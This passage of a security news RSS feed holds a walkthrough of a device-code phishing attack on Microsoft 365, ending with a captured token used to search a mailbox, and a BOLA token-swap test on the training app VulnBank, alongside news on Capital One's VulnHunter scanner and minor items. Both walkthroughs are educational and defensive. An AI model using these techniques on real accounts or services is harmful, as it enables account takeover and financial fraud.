immediately.</p><p>The email closely resembles legitimate Microsoft security notifications, making it difficult for many users to distinguish between genuine and malicious messages.</p><p>Instead of directing users to a fake Microsoft login page, the email redirects them to an attacker-controlled website.</p><p>This subtle difference is what makes Device Code Phishing particularly dangerous.</p><p><strong>Stage 2 — The Fake Verification Portal</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AojoCLPiwGgkLGcDH88gRA.png"><figcaption>Device Code Phishing Page</figcaption></figure><p>After clicking the email link, the victim is presented with what appears to be a Microsoft verification portal.</p><p>The page displays:</p><ul><li>A Microsoft verification code</li><li>Instructions explaining how to complete authentication</li><li>A button that automatically opens Microsoft’s legitimate Device Login page</li></ul><p>Everything appears authentic.</p><p>Unlike credential phishing pages, this website never asks the user for their Microsoft username or password.</p><p>Instead, it simply instructs the user to authenticate through Microsoft itself.</p><p>This dramatically increases trust.</p><p><strong>Stage 3 — Redirecting to Microsoft’s Official Login Page</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vxT4KVaMxg7heCzDMx58Bg.png"><figcaption>Official Microsoft Device Login</figcaption></figure><p>Clicking the verification button redirects the victim to Microsoft’s official Device Login page.</p><p>Notice the URL.</p><p>The browser clearly displays Microsoft’s legitimate domain: login.microsoftonline.com</p><p>This is not a fake login page.</p><p>This is Microsoft’s real authentication portal.</p><p>Since users are interacting directly with Microsoft, many security-conscious individuals believe the request is legitimate.</p><p><strong>Stage 4 — Entering the Device Code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFq44SaoP4Gcy7Y_7QxXHA.png"><figcaption>Microsoft Device Authentication</figcaption></figure><p>The victim enters the code displayed on the phishing website into Microsoft’s official authentication page.</p><p>At this point, everything still appears normal.</p><p>The authentication process is entirely handled by Microsoft.</p><p>No passwords have been stolen.</p><p>No fake login page has been displayed.</p><p>Yet the attacker is already one step closer to gaining access.</p><p><strong>Stage 5 — Microsoft Requests Account Authorization</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3m7P_UTRW5Zprk35ydVMA.png"><figcaption>Account Selection</figcaption></figure><p>Once the code is accepted, Microsoft asks the victim to select the account they wish to authorize.</p><p>Again, this occurs entirely on Microsoft’s legitimate infrastructure.</p><p>Nothing appears suspicious.</p><p>Most users assume they are completing a routine Microsoft verification process.</p><p><strong>Stage 6 — Granting Access</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ew9Rlt7lKtc3NSjGugG7CQ.png"><figcaption>Authorization Prompt</figcaption></figure><p>Microsoft now asks the user to confirm the authentication request.</p><p>The victim clicks <strong>Continue</strong>, believing they are protecting or verifying their Microsoft account.</p><p>Instead, they are unknowingly authorizing an attacker-controlled application.</p><p><strong>Stage 7 — Authentication Complete</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KyN4hx6sY5t0rM_KDsBFw.png"><figcaption>Successful Authorization</figcaption></figure><p>Microsoft confirms that authentication has completed successfully.</p><p>From the victim’s perspective, everything appears perfectly normal.</p><p>There are no error messages.</p><p>No warnings.</p><p>No indication that their Microsoft session has now been shared with someone else.</p><h4>Stage 8 — The Attacker Receives the Access Token</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNu8X_BbbhhP4XFhhrqC6Q.png"><figcaption>Attacker Token Captured dashboard</figcaption></figure><p>Behind the scenes, the attacker’s phishing infrastructure immediately receives the Microsoft access token generated during the authentication process.</p><p>Unlike traditional phishing attacks, the attacker never needed the victim’s password.</p><p>Instead, they now possess a valid Microsoft authentication token issued directly by Microsoft.</p><p><strong>Stage 9 — Accessing Microsoft Resources</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hqRMWz0deomvWmiCV1QAag.png"><figcaption>Searching Microsoft Graph Data</figcaption></figure><p>Using the captured token, the attacker can begin interacting with Microsoft Graph APIs according to the permissions granted during authentication.</p><p>Depending on the permissions available, this may allow access to resources such as:</p><ul><li>Outlook email</li><li>OneDrive files</li><li>SharePoint data</li><li>Microsoft Teams information</li><li>Other Microsoft 365 resources</li></ul><p>In our demonstration, the captured token is used to search mailbox content, illustrating how quickly authenticated access can be abused after the victim completes the authorization process.</p><h3>Why Device Code Phishing Is So Effective</h3><p>Traditional phishing relies on fake login pages.</p><p>Device Code Phishing is different.</p><p>The victim authenticates directly with Microsoft.</p><p>Every important step occurs on Microsoft’s legitimate domain.</p><p>This removes many of the indicators users have been trained to recognize.</p><p>There are:</p><ul><li>No fake Microsoft login pages.</li><li>No stealing of passwords.</li><li>No cloned authentication forms.</li><li>No obvious browser warnings.</li></ul><p>Instead, attackers exploit the trust users place in Microsoft’s legitimate authentication process.</p><h3>Why This Matters</h3><p>Modern phishing campaigns are evolving beyond simple credential theft. By abusing legitimate authentication workflows, attackers can obtain valid access tokens without ever knowing a user’s password. This makes Device Code Phishing particularly attractive because it blends legitimate authentication with social engineering. Organizations relying solely on user awareness around fake login pages may find these attacks significantly more difficult to detect.</p><h3>How to Protect Yourself</h3><p>Although Device Code Authentication is a legitimate Microsoft feature, there are several ways users can protect themselves from Device Code Phishing attacks.</p><h4>Never authenticate unless you initiated the request.</h4><p>If you receive an unexpected email asking you to verify your Microsoft account using a device code, stop and verify the request before proceeding.</p><h4>Check why you are being asked to authenticate.</h4><p>Ask yourself:</p><ul><li>Did I start this login?</li><li>Am I trying to sign in on another device?</li><li>Was I expecting this authentication request?</li></ul><p>If the answer is no, do not continue.</p><h4>Be cautious of urgent security emails.</h4><p>Threat actors frequently use messages about unusual sign-in activity, account suspension, or urgent verification to pressure victims into acting quickly.</p><h4>Review recently authorized applications.</h4><p>Regularly review the applications connected to your Microsoft account and remove any unfamiliar or unnecessary authorizations.</p><h4>Revoke active sessions if you suspect compromise.</h4><p>If you believe you accidentally completed a Device Code Phishing request:</p><ul><li>Immediately sign out of all active Microsoft sessions.</li><li>Revoke recently granted application permissions.</li><li>Change your Microsoft account password.</li><li>Inform your organization’s IT or Security team.</li><li>Review your recent sign-in activity for any suspicious access.</li></ul><p>Acting quickly can significantly reduce the impact of token-based attacks.</p><h3>Conclusion</h3><p>Device Code Phishing demonstrates that modern phishing attacks no longer need to steal passwords to be successful.</p><p>By abusing Microsoft’s legitimate Device Code authentication workflow, attackers can trick users into authorizing malicious applications while every authentication step takes place on Microsoft’s official infrastructure.</p><p>This makes the attack highly convincing, difficult for users to recognize, and increasingly relevant in modern phishing campaigns.</p><p>Understanding how this technique works is the first step toward recognizing suspicious authentication requests and preventing unauthorized access to Microsoft 365 environments.</p><p>As attackers continue to shift toward token-based authentication abuse, user awareness remains one of the most effective defenses against these evolving phishing techniques.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=cfa189643f45" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without-cfa189643f45">Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem]]></title>
<description><![CDATA[A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBankVulnBankThere’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually did. For me, that moment was watching one user’...]]></description>
<link>https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677763/hacking/i-funded-a-strangers-bank-card-with-my-own-money-and-thats-exactly-the-problem/</guid>
<pubDate>Sat, 18 Jul 2026 11:21:50 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>A hands-on walkthrough of Broken Object Level Authorization (BOLA) on VulnBank</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTehjKwtISkTLR8KwRRrRw.png"><figcaption>VulnBank</figcaption></figure><p>There’s a moment in every appsec learner’s journey where a vulnerability stops being a bullet point on the OWASP API Top 10 and starts being something you actually <em>did</em>. For me, that moment was watching one user’s card get funded by another user’s session — no exploit chain, no payload, just a number in a URL that should never have worked.</p><p>This is the walkthrough of how I found (and rigorously confirmed) a Broken Object Level Authorization vulnerability in <strong>VulnBank</strong>, an intentionally vulnerable banking application built for security training.</p><h3>What Is BOLA, Actually?</h3><p>Broken Object Level Authorization sits at <strong>#1 </strong>on the <strong>OWASP API Security Top 10 </strong>(API 1: 2023), and for good reason — it’s common, trivial to exploit, and quietly devastating.</p><p>The core idea in one sentence: <strong>the server correctly checks who you are, but never checks what you’re allowed to touch.</strong></p><p>Any API endpoint that takes an object identifier — a <strong>card_id</strong>, <strong>account_number</strong>, <strong>order_id </strong>— needs to answer two separate questions:</p><ol><li><strong>Authentication: </strong>is this a valid, logged-in user?</li><li><strong>Authorization: </strong>should <em>this </em><strong><em>specific user</em> </strong>be allowed to access <em>this specific object</em>?</li></ol><p>BOLA is what happens when an API nails question one and skips question two entirely. Usually it’s one missing clause in a query.</p><p>The vulnerable version:</p><pre>SELECT * FROM cards WHERE id = :card_id</pre><p>The fixed version:</p><pre>SELECT * FROM cards WHERE id = :card_id AND user_id = :authenticated_user_id</pre><p>That’s genuinely the whole difference and because it never breaks anything during normal use (your own IDs always belong to you), it hides in plain sight until someone deliberately tries an ID that isn’t theirs.</p><p>So that’s exactly what I did — with two accounts, on purpose, so I could prove it beyond doubt rather than just suspect it.</p><h3>Setting the Stage: Two Users, Two Cards</h3><p>Testing BOLA against yourself proves nothing — you always have legitimate access to your own resources. So I set up two separate accounts to simulate a real attacker/victim scenario.</p><h3><strong>User 1 — Jhonny</strong></h3><ul><li>I created a virtual card with a <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*IzNdvQ1HNkbGSk9AEz70FQ.png"><figcaption>Jhonny’s Virtual Card</figcaption></figure><ul><li>I then funded it with <strong>$80 </strong>from the main balance.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*yyZLbn89enTTeEBs4gSKow.png"><figcaption>Funding the card</figcaption></figure><p>With the funding request captured in <strong>Burp Suite</strong>, I sent it to Repeater for closer inspection, this is the request whose <strong>card_id </strong>parameter would become the centerpiece of the whole test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EKOsjOROq-GWkyoTOSyHNw.png"><figcaption>Jhonny Card Request in Burp</figcaption></figure><h3><strong>User 2 — Alex</strong></h3><p>Same setup:</p><ul><li>A fresh virtual card of <strong>$2,500 </strong>limit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*A-bryCWIEKgcBWvJSyHgGQ.png"><figcaption>Alex’s Virtual Card</figcaption></figure><ul><li>Funded with $100.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*H-zuUIktIse3J_FkKY4iRg.png"><figcaption>Funding Alex’s card</figcaption></figure><ul><li>And the same treatment — captured the request and sent it to Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhtrbarCUBXaggWB7u-YBw.png"><figcaption>Alex’s Card Request in Burp</figcaption></figure><p>Two accounts, two cards, two independent funding requests sitting side by side. Now the real test could begin.</p><h3>Step One: Does the App Even Check Who You Are?</h3><p>Before hunting for authorization flaws, I checked the basics. I stripped the session cookie and Authorization header from a funding request entirely and sent it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkZ3P_vd-a31Bxve6I1kMw.png"><figcaption>Token error (Authentication enabled)</figcaption></figure><p><strong>401 Unauthorized: "Token is missing."</strong></p><p>Good! The server clearly enforces authentication. That ruled out the simplest failure mode and pointed straight at the real question: does it check <strong><em>which</em> </strong>authenticated user is making the request, or just <strong><em>that</em> </strong>one is?</p><h3>Step Two: The Swap</h3><p>This is the actual test, and it’s almost anticlimactic in how simple it is.</p><p>I took <strong>Jhonny’s</strong> valid token and used it to fund <strong>Alex’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pM9M7X-q1bMfJng1TcsNqA.png"><figcaption>Funding Alex’s card with Jhonny’s Token</figcaption></figure><p><strong>200 OK.</strong> The card funded successfully with Jhonny's session authorizing a change to Alex's card.</p><p>Then I reversed it, <strong>Alex’s</strong> token, aimed at <strong>Jhonny’s</strong> card:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5Qqk7A4XKvrvCkqyXgRFQ.png"><figcaption>Funding Jhonny’s card with Alex’s Token</figcaption></figure><p><strong>200 OK</strong> again. Same result, opposite direction.</p><p>Neither request was rejected. The server verified that a valid token was present but never verified that the token holder actually owned the card they were funding. It simply processed whatever <strong>card_id </strong>showed up in the URL, against whichever authenticated user happened to be making the call.</p><h3>Why This Isn’t “Just a Feature”</h3><p>The first pushback any BOLA finding gets is: <strong><em>“Couldn’t this just be an intentional transfer feature?”</em></strong></p><p>It’s a fair question, and worth addressing directly.</p><p>The answer is <strong>NO</strong>, for a few concrete reasons:</p><ul><li>There was no recipient search, no username/email lookup, no way to intentionally select another user through the interface.</li><li>Neither Jhonny nor Alex received any notification or gave any consent.</li><li>The card IDs used were never exposed to either user by the application itself, they were reached only by directly editing a request in Burp, not by anything the UI ever presented as selectable.</li><li>Both requests used each user’s <em>own</em> main balance and <em>own</em> token throughout, nothing about the flow resembled a designed transfer mechanism.</li></ul><p>A designed feature has guardrails: consent steps, recipient verification, fraud checks. This had none of that, because it was never meant to be reachable in the first place.</p><h3>The Fix</h3><p>The remediation here is almost anticlimactic given the impact. This isn’t a hard problem to solve, just an easy one to forget:</p><ul><li>Every object-level query needs an explicit ownership check tied to the authenticated session: <strong>WHERE card_id = ? AND user_id = ?</strong></li><li>Better yet, enforce this centrally, an authorization layer or middleware that every object-fetching endpoint routes through, rather than relying on each developer to remember it per-endpoint</li><li>Make cross-account testing a standard part of QA and code review: test with <strong>two different authenticated accounts</strong> against each other’s objects, not just each account against its own.</li></ul><h3>The Takeaway</h3><p>BOLA doesn’t require exotic tooling or deep exploit development. It requires one thing: noticing that an ID in a URL is just a number, and asking whether the server actually checked if you were allowed to use it.</p><p>In this case, it hadn’t. Two independent accounts, each fully authenticated, could reach into each other’s resources without so much as a warning.</p><p>Authentication tells a server <em>who</em> is asking. Authorization is the separate and often forgotten question of <strong><em>what they’re allowed to ask for?</em></strong>. Every API needs both, and it’s worth checking, endpoint by endpoint, that yours actually has them.</p><p><em>This testing was performed against VulnBank, an intentionally vulnerable application built for security education and training purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=a3bfc069a8b9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-funded-a-strangers-bank-card-with-my-own-money-and-that-s-exactly-the-problem-a3bfc069a8b9">I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Capital One releases VulnHunter, an open-source AI tool that finds software flaws before hackers do]]></title>
<description><![CDATA[Capital One on Thursday released VulnHunter, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and now a...]]></description>
<link>https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.capitalone.com/">Capital One</a> on Thursday released <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and <a href="https://github.com/capitalone/vulnhunter">now available on GitHub</a> under an Apache 2.0 license, is one of the most ambitious attempts by a major financial institution to turn offensive AI capabilities into a public defensive resource.</p><p>The move marks a striking philosophical turn for a company still defined, in many boardrooms, by a <a href="https://www.capitalone.com/digital/facts2019/">2019 data breach</a> that compromised the personal information of roughly 106 million people across the United States and Canada and ultimately cost the bank an <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">$80 million federal fine</a>.</p><p>Capital One is not simply releasing another vulnerability scanner. VulnHunter introduces what the company calls an "<a href="https://github.com/capitalone/vulnhunter">attacker-first forward analysis</a>" — a workflow in which the tool begins at the points where a real adversary would enter a system, such as APIs, network messages, or file uploads, and reasons forward through the application's logic to determine whether an exploit path actually survives the code's existing defenses. Conventional scanners typically work in reverse, flagging a dangerous-looking code pattern and then searching backward for a hypothetical attacker. That approach, security practitioners widely acknowledge, buries engineering teams under avalanches of false positives.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> attacks that problem head-on with a second innovation: a built-in "falsification engine" that tries to disprove its own findings before a developer ever sees them. After the tool surfaces a potential vulnerability, a structured reasoning workflow hunts for logical gaps, unsupported assumptions, and conditions that would prevent the attack from succeeding. Only findings the engine fails to rule out reach a human reviewer — and when they do, VulnHunter delivers not just an alert but a full explanation of the exploit path and a proposed code fix ready for engineering review.</p><p>The tool currently runs on Anthropic's <a href="https://www.anthropic.com/news/claude-opus-4-8">Claude Opus 4.8 model</a> inside a Claude Code environment, though Capital One says the framework has the potential to work across other foundation models and coding harnesses.</p><h2><b>The 2019 breach that reshaped how Capital One thinks about cybersecurity</b></h2><p>To understand why Capital One chose to open-source a tool this consequential, you have to understand the scar tissue.</p><p>On July 19, 2019, <a href="https://www.capitalone.com/digital/facts2019/">Capital One disclosed </a>that an outside individual — later identified as a former Amazon Web Services employee named Paige Thompson — had gained unauthorized access to names, addresses, self-reported income, Social Security numbers, and linked bank account numbers belonging to credit card customers and applicants. The breach, which Capital One says occurred on March 22 and 23, 2019, was discovered only after an external security researcher flagged a configuration vulnerability through the company's <a href="https://www.capitalone.com/digital/responsible-disclosure/">Responsible Disclosure Program</a> on July 17 of that year.</p><p>The damage was sweeping. Approximately <a href="https://www.npr.org/2019/07/30/746687015/100-million-people-in-the-u-s-affected-by-capital-one-data-breach">100 million people in the United States</a> and 6 million in Canada were affected. Roughly 140,000 Social Security numbers, about 80,000 linked bank account numbers, and approximately 1 million Canadian Social Insurance Numbers were compromised. The FBI arrested Thompson, and the government stated it believed the data had been recovered with no evidence of fraud. But the reputational and regulatory toll was enormous.</p><p>In August 2020, the Office of the Comptroller of the Currency <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">fined Capital One $80 million</a>, finding that the bank had failed to adequately identify and manage risks as it migrated significant technology operations to the cloud. As Reuters reported at the time, the OCC's consent order cited insufficient network security controls, inadequate data loss prevention measures, and a board that failed to hold management accountable when internal auditing surfaced problems. The OCC also ordered Capital One to overhaul its operations and submit new cybersecurity plans for regulatory review.</p><p>The incident became an industry case study in the dangers of moving fast with new technology. As <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop reported</a> in July 2019, a cybersecurity executive at a competing financial company observed that the breach "could be the result of trying too many new things and forcing them through." Capital One's own CEO, Richard D. Fairbank, acknowledged the gravity of the moment. "While I am grateful that the perpetrator has been caught, I am deeply sorry for what has happened," Fairbank said at the time. "I sincerely apologize for the understandable worry this incident must be causing those affected and I am committed to making it right."</p><h2><b>How Capital One rebuilt its security reputation through open-source investment</b></h2><p>What followed was not a retreat from technology but a doubling down — with security explicitly at the center.</p><p>Capital One had declared itself an "<a href="https://capitalonesoftware.com/blog/cloud-migration-journey">open-source first</a>" company in 2015 as part of a broader technology transformation that began over a decade ago. After the breach, the company accelerated its investments in software supply chain security, open-source governance, and AI-driven defense. In August 2022, Capital One joined the <a href="https://openssf.org/">Open Source Security Foundation</a> as a premier member, earning a seat on the organization's Governing Board. Chris Nims, then EVP of Cloud &amp; Productivity Engineering, framed the move as a natural extension of the company's operating philosophy. "As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration," Nims said in the <a href="https://openssf.org/press-release/2022/08/24/capital-one-joins-open-source-security-foundation/">OpenSSF announcement</a>.</p><p>Behind that public commitment lay a substantial operational apparatus. Capital One's <a href="https://www.capitalone.com/tech/open-source/">Open Source Program Office</a>, now in its third iteration, manages open-source usage, contributions, and community building across the enterprise. The company has released more than 25 open-source projects and made over 2,000 contributions to approximately 135 external open-source projects, according to the company's own disclosures. Those efforts address not just code dependencies but the entire software development lifecycle — DevSecOps tools, infrastructure, and the collaborative environments, both internal and external, that shape how software gets built and shipped.</p><p>Nureen D'Souza, the director who leads Capital One's OSPO, has spoken publicly about the philosophy underpinning this work. At cdCon 2022, D'Souza described a "company-wide culture with security ingrained" that allows developers to focus on innovation rather than maintenance chores, as <a href="https://sdtimes.com/os/how-capital-one-is-strengthening-the-software-supply-chain/">reported by SD Times</a>. The OSPO's charter emphasizes three pillars: standardization of open-source processes, automation of security policies throughout the delivery pipeline, and ecosystem sustainability through upstream contributions to the foundations and projects the company depends on.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> is the most consequential product of that multi-year effort — and the clearest signal yet that Capital One views open-source collaboration not as charity but as a competitive security strategy. The company argues that modern software supply chains are so deeply interconnected that a single vulnerability in a widely used open-source component can cascade across thousands of enterprises simultaneously. Proprietary defenses, no matter how sophisticated, cannot address a problem that is fundamentally communal. By releasing VulnHunter under a permissive license, Capital One invites the global security research community to stress-test, extend, and improve the tool — effectively crowdsourcing its own defense infrastructure while strengthening the broader ecosystem.</p><h2><b>Inside VulnHunter's three-stage AI engine for finding exploitable code</b></h2><p>For engineering leaders evaluating <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, the technical architecture is where the tool's ambitions become concrete. The workflow unfolds in three distinct stages.</p><p>In the first stage — attacker-first forward analysis — VulnHunter begins at the points where an external adversary would interact with a system: API endpoints, network message handlers, file upload interfaces. From each entry point, the tool reasons forward through application logic, tracing data flows, transformations, and internal security checkpoints to determine whether an attacker can actually reach a dangerous code path. This approach mirrors how a skilled penetration tester would probe a system, but automates the process at a scale no human team could match.</p><p>The second stage is where VulnHunter departs most sharply from conventional scanners. After identifying a potential vulnerability, the falsification engine runs a structured reasoning workflow designed to disprove its own conclusion. It searches for assumptions that do not hold, logical gaps in the exploit path, and environmental conditions that would prevent an attack from succeeding. Findings that fail this internal challenge are discarded before any developer sees them. Capital One's explicit goal is to shift the developer's burden away from triaging false alarms — a perennial pain point that erodes trust in security tooling and slows development velocity.</p><p>In the third stage, vulnerabilities that survive the falsification engine trigger an evidence-backed remediation workflow. VulnHunter gathers supporting evidence across the codebase, maps the complete surviving exploit path, explains the defect and the specific capabilities an attacker would gain, and generates targeted code changes for engineering review. The output is not a generic advisory but a concrete, context-aware patch proposal.</p><p>Capital One says it validated VulnHunter internally before release, running it across thousands of repositories spanning tens of business areas. The company reports that the tool identified and remediated vulnerabilities with speed and efficiency that far exceeded what its teams previously achieved through manual triage.</p><h2><b>Why AI-powered attacks are forcing banks to rethink traditional cyber defenses</b></h2><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> arrives at a moment when the cybersecurity landscape is shifting beneath the feet of every enterprise. Capital One's announcement frames the urgency in stark terms: advanced AI models have "dramatically lowered the barrier for bad actors to discover and exploit vulnerabilities in software," and the window before sophisticated AI attack capabilities become affordable and accessible to virtually every adversary is shrinking rapidly.</p><p>The company's own AI security researchers have been tracking these trends closely. At <a href="https://www.capitalone.com/tech/software-engineering/secon-2024/">NeurIPS 2024</a> in Vancouver, Capital One's team presented research and curated a list of nearly 100 papers spanning LLM safety, adversarial resilience, jailbreak attacks, and synthetic data generation. The papers they highlighted — including work on multi-agent defense frameworks, automated red-teaming, and guardrail classifiers — paint a picture of an arms race in which offensive and defensive AI capabilities are co-evolving at breakneck speed.</p><p>Several of those research themes map directly onto VulnHunter's architecture. The falsification engine echoes the adversarial defense strategies explored in papers like "<a href="https://pure.psu.edu/en/publications/backdooralign-mitigating-fine-tuning-based-jailbreak-attack-with-/fingerprints/?sortBy=alphabetically">BackdoorAlign</a>," which demonstrated that embedding a structured safety mechanism into a small number of training examples could recover a model's safety alignment without degrading performance. The attacker-first forward analysis reflects the philosophy of "<a href="https://arxiv.org/html/2406.18510v1">WildTeaming</a>," a framework that collects and analyzes real-world jailbreak attempts to build more resilient models. And VulnHunter's emphasis on minimizing false positives parallels the goals of "GuardFormer," a guardrail classifier that outperformed GPT-4 on safety benchmarks while running 14 times faster.</p><p>The thread connecting all of this work is a conviction that traditional, reactive security — monitoring networks, patching known vulnerabilities, responding to incidents after they occur — is no longer sufficient when adversaries can use AI to discover and exploit zero-day vulnerabilities at machine speed. The only durable defense, Capital One argues, is to find and fix the vulnerabilities in your own code before attackers find them first.</p><h2><b>What Capital One's cloud security journey reveals about the entire banking industry</b></h2><p>Capital One's arc from breach victim to open-source security contributor also illuminates a broader reckoning across financial services. When Capital One <a href="https://www.latimes.com/business/story/2019-07-30/capital-one-cloud-safety-hacker-breach">moved aggressively to Amazon Web Services</a> in the mid-2010s, it was a rarity among major banks. Most financial institutions simply did not trust third parties to store their most sensitive data. Capital One's CIO at the time, Rob Alexander, <a href="https://www.forbes.com/sites/peterhigh/2016/12/12/how-capital-one-became-a-leading-digital-bank/">publicly championed the cloud</a> as more secure than the bank's own data centers — a claim that the 2019 breach complicated considerably.</p><p>The <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop report</a> from that period captured the tension within the industry. W. Patrick Opet, managing director of cybersecurity at JP Morgan Chase, described a cultural shift in banking from prioritizing traders to prioritizing developers: "Now, it's 'Focus on the developer, turn everything into code, and automate everything.'" Mark Nicholson, Deloitte's cyber leader for the financial industry, noted that the pressure to move quickly was exposing "weaknesses in the development methodology." And the breach itself was a reminder that even as Chase spent $600 million annually on cybersecurity, relatively simple vulnerabilities — like the Apache Struts bug that enabled the Equifax breach — could undercut massive investments in data protection.</p><p>Seven years later, the industry has largely followed Capital One into the cloud, and the security challenges have only intensified. The question is no longer whether to use cloud infrastructure but how to secure the software that runs on it. VulnHunter represents Capital One's answer: rather than relying solely on network-level controls and perimeter defenses, push security directly into the code itself, at the moment it is written. The open-source release also carries implicit competitive pressure. If VulnHunter gains traction among developers and security teams, it could set a new baseline for what enterprise security tooling is expected to do — and force rival banks, fintechs, and cloud providers to match or exceed its capabilities.</p><p>Whether <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> lives up to that ambition will depend on adoption, community engagement, and the tool's real-world performance against the increasingly sophisticated AI-powered attacks it was designed to counter. But the release itself tells a story that extends well beyond any single tool or any single company. In 2019, a misconfigured firewall exposed 100 million records and turned Capital One into a cautionary tale about the cost of moving fast without moving carefully. In 2026, the same institution is open-sourcing the kind of AI-driven defense it wishes it had built sooner — and betting that the best way to protect its own code is to help the entire industry protect theirs.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TRAI Seeks IT Act Powers to Act Against Spam-Tagging Apps Like Truecaller]]></title>
<description><![CDATA[  The Telecom Regulatory Authority of India (TRAI) seeks new powers in the Information Technology (IT) Act to take action against call management apps, including Truecaller, Hiya, and Whoscall, for marking or blocking legitimate commercial calls as spam. The regulator…
Read more →
The post TRAI S...]]></description>
<link>https://tsecurity.de/de/3676671/it-security-nachrichten/trai-seeks-it-act-powers-to-act-against-spam-tagging-apps-like-truecaller/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676671/it-security-nachrichten/trai-seeks-it-act-powers-to-act-against-spam-tagging-apps-like-truecaller/</guid>
<pubDate>Fri, 17 Jul 2026 19:25:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  The Telecom Regulatory Authority of India (TRAI) seeks new powers in the Information Technology (IT) Act to take action against call management apps, including Truecaller, Hiya, and Whoscall, for marking or blocking legitimate commercial calls as spam. The regulator…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/trai-seeks-it-act-powers-to-act-against-spam-tagging-apps-like-truecaller/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/trai-seeks-it-act-powers-to-act-against-spam-tagging-apps-like-truecaller/">TRAI Seeks IT Act Powers to Act Against Spam-Tagging Apps Like Truecaller</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Asus’ top-end 4K QD-OLED gaming monitor is $400 off]]></title>
<description><![CDATA[The Asus ROG Swift 32-inch 4K QD-OLED gaming monitor has almost everything I want in a high-end gaming monitor, most notably a QD-OLED panel for inky black levels and vivid colors that go beyond what’s possible on an LCD screen. Amazon, Best Buy, and B&H Photo have this model on sale for $899.99 ...]]></description>
<link>https://tsecurity.de/de/3676631/it-nachrichten/asus-top-end-4k-qd-oled-gaming-monitor-is-400-off/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676631/it-nachrichten/asus-top-end-4k-qd-oled-gaming-monitor-is-400-off/</guid>
<pubDate>Fri, 17 Jul 2026 19:18:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
